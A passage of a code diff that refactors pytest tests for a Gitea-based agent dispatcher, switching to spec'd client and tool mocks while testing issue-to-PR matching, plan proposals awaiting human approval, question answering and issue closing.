work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
|
|||||||
+109
-227
@@ -2,19 +2,16 @@ import pytest
|
|||||||
from unittest.mock import MagicMock, AsyncMock, patch, ANY
|
from unittest.mock import MagicMock, AsyncMock, patch, ANY
|
||||||
from core.dispatcher import AgentDispatcher
|
from core.dispatcher import AgentDispatcher
|
||||||
from core.queue import WorkItem
|
from core.queue import WorkItem
|
||||||
|
from gitea.client import GiteaClient
|
||||||
|
from gitea.tools.gitea_tools import GiteaTools
|
||||||
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
|
from gitea.models import PullRequestModel, IssueModel, CommentModel, UserModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
|
|
||||||
# Mock sub-clients
|
|
||||||
mock_client.prs = MagicMock()
|
|
||||||
mock_client.issues = MagicMock()
|
|
||||||
mock_client.notifications = MagicMock()
|
|
||||||
|
|
||||||
# Mock list_repo_pull_requests to return a PR that closes issue #42
|
# Mock list_repo_pull_requests to return a PR that closes issue #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -22,15 +19,9 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
|||||||
title="fix: resolve bug",
|
title="fix: resolve bug",
|
||||||
body="closes #42"
|
body="closes #42"
|
||||||
)
|
)
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -44,14 +35,13 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
|
|||||||
|
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
|
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
|
||||||
mock_client.prs.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
mock_client.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
# Mock list_repo_pull_requests to return PRs that don't address issue #42
|
# Mock list_repo_pull_requests to return PRs that don't address issue #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -59,8 +49,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
title="feat: add something",
|
title="feat: add something",
|
||||||
body="closes #99"
|
body="closes #99"
|
||||||
)
|
)
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
|
|
||||||
# Mock CoordinatorAgent invoking propose_plan tool
|
# Mock CoordinatorAgent invoking propose_plan tool
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -71,13 +61,7 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -95,9 +79,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
|
|||||||
|
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
|
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
# Mock get_pull_request, get_pull_request_diff, etc.
|
# Mock get_pull_request, get_pull_request_diff, etc.
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -107,31 +90,25 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
|||||||
head={"ref": "branch1"},
|
head={"ref": "branch1"},
|
||||||
base={"ref": "master"}
|
base={"ref": "master"}
|
||||||
)
|
)
|
||||||
mock_client.prs.get_pull_request.return_value = pr
|
mock_client.get_pull_request.return_value = pr
|
||||||
mock_client.prs.get_pull_request_diff.return_value = "diff context"
|
mock_client.get_pull_request_diff.return_value = "diff context"
|
||||||
mock_client.prs.get_pull_request_files.return_value = []
|
mock_client.get_pull_request_files.return_value = []
|
||||||
mock_client.prs.get_pull_request_comments.return_value = []
|
mock_client.get_pull_request_comments.return_value = []
|
||||||
|
|
||||||
# Mock the connected issue and its comments
|
# Mock the connected issue and its comments
|
||||||
issue = IssueModel(number=42, title="bug description")
|
issue = IssueModel(number=42, title="bug description")
|
||||||
mock_client.issues.get_issue.return_value = issue
|
mock_client.get_issue.return_value = issue
|
||||||
|
|
||||||
comment = CommentModel(id=1, body="First comment")
|
comment = CommentModel(id=1, body="First comment")
|
||||||
mock_client.issues.get_issue_comments.return_value = [comment]
|
mock_client.get_issue_comments.return_value = [comment]
|
||||||
|
|
||||||
# Mock CodingAgent
|
# Mock CodingAgent
|
||||||
mock_agent_instance = MagicMock()
|
mock_agent_instance = MagicMock()
|
||||||
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
|
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
|
||||||
mock_agent_class.return_value = mock_agent_instance
|
mock_agent_class.return_value = mock_agent_instance
|
||||||
|
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -149,54 +126,46 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
|
|||||||
assert "bug description" in mission
|
assert "bug description" in mission
|
||||||
assert "First comment" in mission
|
assert "First comment" in mission
|
||||||
|
|
||||||
mock_client.issues.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||||
mock_client.issues.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
|
||||||
|
|
||||||
|
|
||||||
async def test_find_pr_for_issue_by_branch() -> None:
|
async def test_find_pr_for_issue_by_branch() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
# 1. Matches fix/issue-42-some-desc
|
# 1. Matches fix/issue-42-some-desc
|
||||||
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
|
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr1]
|
mock_client.list_repo_pull_requests.return_value = [pr1]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 2. Matches fix/42
|
# 2. Matches fix/42
|
||||||
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
|
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr2]
|
mock_client.list_repo_pull_requests.return_value = [pr2]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 3. Matches fix-42_desc
|
# 3. Matches fix-42_desc
|
||||||
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
|
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr3]
|
mock_client.list_repo_pull_requests.return_value = [pr3]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
|
||||||
|
|
||||||
# 4. Does NOT match fix/142
|
# 4. Does NOT match fix/142
|
||||||
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
|
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr4]
|
mock_client.list_repo_pull_requests.return_value = [pr4]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||||
|
|
||||||
# 5. Does NOT match fix/421
|
# 5. Does NOT match fix/421
|
||||||
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
|
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr5]
|
mock_client.list_repo_pull_requests.return_value = [pr5]
|
||||||
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
async def test_find_pr_for_issue_by_raw_mention() -> None:
|
async def test_find_pr_for_issue_by_raw_mention() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
# PR body mentions #42
|
# PR body mentions #42
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
@@ -205,51 +174,33 @@ async def test_find_pr_for_issue_by_raw_mention() -> None:
|
|||||||
body="This is for #42 to fix the bug",
|
body="This is for #42 to fix the bug",
|
||||||
head={"ref": "some-branch"}
|
head={"ref": "some-branch"}
|
||||||
)
|
)
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
mock_client.list_repo_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
|
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
|
||||||
assert res is not None
|
assert res is not None
|
||||||
assert res.number == 103
|
assert res.number == 103
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_already_reviewed_pr() -> None:
|
async def test_dispatch_skips_already_reviewed_pr() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_client.repos = MagicMock()
|
|
||||||
mock_client.prs = MagicMock()
|
|
||||||
mock_client.issues = MagicMock()
|
|
||||||
mock_client.notifications = MagicMock()
|
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
from gitea.models import UserModel
|
from gitea.models import UserModel
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
pr = PullRequestModel(
|
pr = PullRequestModel(
|
||||||
number=104,
|
number=104,
|
||||||
title="already reviewed PR",
|
title="already reviewed PR",
|
||||||
body="closes #42",
|
body="closes #42",
|
||||||
user=UserModel(login="unknown-ai"),
|
user=UserModel(login="unknown-ai")
|
||||||
requested_reviewers=[],
|
|
||||||
)
|
)
|
||||||
mock_client.prs.get_pull_request.return_value = pr
|
mock_client.get_pull_request.return_value = pr
|
||||||
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
mock_client.get_pull_request_diff.return_value = "diff"
|
||||||
mock_client.prs.get_pull_request_comments.return_value = [
|
mock_client.get_pull_request_comments.return_value = [
|
||||||
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
|
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
|
||||||
]
|
]
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
@@ -274,14 +225,8 @@ def _make_comment(login: str, body: str) -> CommentModel:
|
|||||||
|
|
||||||
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
|
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
return AgentDispatcher(
|
return AgentDispatcher(client=mock_client, tools=MagicMock())
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def test_is_awaiting_reply_no_comments() -> None:
|
def test_is_awaiting_reply_no_comments() -> None:
|
||||||
@@ -321,13 +266,12 @@ def test_is_awaiting_reply_no_marker_not_detected() -> None:
|
|||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||||
@@ -336,13 +280,7 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -354,18 +292,17 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
|
||||||
@@ -374,13 +311,7 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -392,20 +323,19 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
|
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
|
||||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
|
||||||
|
|
||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Human comments indicating satisfaction after our answer
|
# Human comments indicating satisfaction after our answer
|
||||||
mock_client.issues.get_issue_comments.return_value = [
|
mock_client.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "Yes, thanks! That makes sense.")
|
_make_comment("michael", "Yes, thanks! That makes sense.")
|
||||||
]
|
]
|
||||||
@@ -417,13 +347,7 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -435,28 +359,27 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
|
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
|
||||||
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
|
||||||
mock_client.issues.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
mock_client.close_issue.assert_called_once_with("meeks", "repo1", 42)
|
||||||
|
|
||||||
|
|
||||||
@patch("subprocess.run")
|
@patch("subprocess.run")
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
mock_client.issues.get_issue_comments.return_value = [
|
mock_client.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "looks good, go ahead")
|
_make_comment("michael", "looks good, go ahead")
|
||||||
]
|
]
|
||||||
|
|
||||||
# Return PR object on creation
|
# Return PR object on creation
|
||||||
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
|
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
|
||||||
mock_client.prs.create_pull_request.return_value = mock_pr
|
mock_client.create_pull_request.return_value = mock_pr
|
||||||
|
|
||||||
# Mock planning agent deciding EXECUTE_PLAN
|
# Mock planning agent deciding EXECUTE_PLAN
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -467,13 +390,7 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
|||||||
# Mock coding agent executing plan
|
# Mock coding agent executing plan
|
||||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
|
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
